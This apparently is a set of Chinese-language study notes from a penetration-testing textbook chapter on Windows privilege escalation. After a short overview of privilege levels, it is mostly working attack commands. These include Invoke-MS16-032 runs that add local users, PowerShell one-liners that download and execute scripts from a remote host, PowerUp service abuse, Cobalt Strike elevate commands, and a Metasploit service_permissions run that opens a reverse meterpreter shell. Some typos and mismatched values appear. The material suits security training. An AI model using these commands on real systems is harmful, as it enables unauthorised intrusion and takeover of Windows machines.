目录
4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)
4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下
第4章权限提升分析及防御
在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
- User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
- Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
- System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
- TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
- 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
4.1.1通过手动执行命令发现缺失补丁
1.通过whoami/groups查看当前权限
2.1查看系统补丁
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
对系统补丁包进行过滤,查找指定补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"
如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗
PS C:\Users\q\Desktop> ..\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Import-Module .\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application notepad.exe #打开记事本程序
powershell -nop -exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'" #远程下载,提权,添加用户
2.2利用msf发现缺失补丁
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > show options
msf6 post(windows/gather/enum_patches) > run
3.Windows Exploit Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py --update
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# pip install xlrd --upgrade
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py -d 2020-12-23-mssb.xls -i patches.txt
4.powershell 中的Sherlock脚本
PS C:\Users\q\Desktop> Import-Module .\Sherlock.ps1
PS C:\Users\q\Desktop> Find-AllVulns
5.通过cs中的elevate提权
getuid
elevate uac-token-duplication
elecate svc-exe
4.2widnows操作系统配置错误利用分析及防范
1.PowerUp下的实战利用
在渗透测试中可以执行以下两条命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/powersploit/Privesc/PowerUp.ps1'); Invoke-AllChecks"
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks" #将powerup上传至目标服务器,执行此命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #cmd命令行下执行
利用服务漏洞添加用户(未添加成功)
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinary -ServiceName 'MozillaMaintenance' -UserName firefox -Password 123"
2.Metasploit下的实战利用
在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
msf6 > use exploit/windows/local/service_permissions
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/service_permissions) > show options
msf6 exploit(windows/local/service_permissions) > set LHOST 1.1.1.5
LHOST => 1.1.1.6
msf6 exploit(windows/local/service_permissions) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/service_permissions) > run #执行后会自动反弹一个新的meterpreter(system)权限
4.2.2注册表键AlwasIstallElevated
注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。
1.PathsAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Windows Installer特权安装功能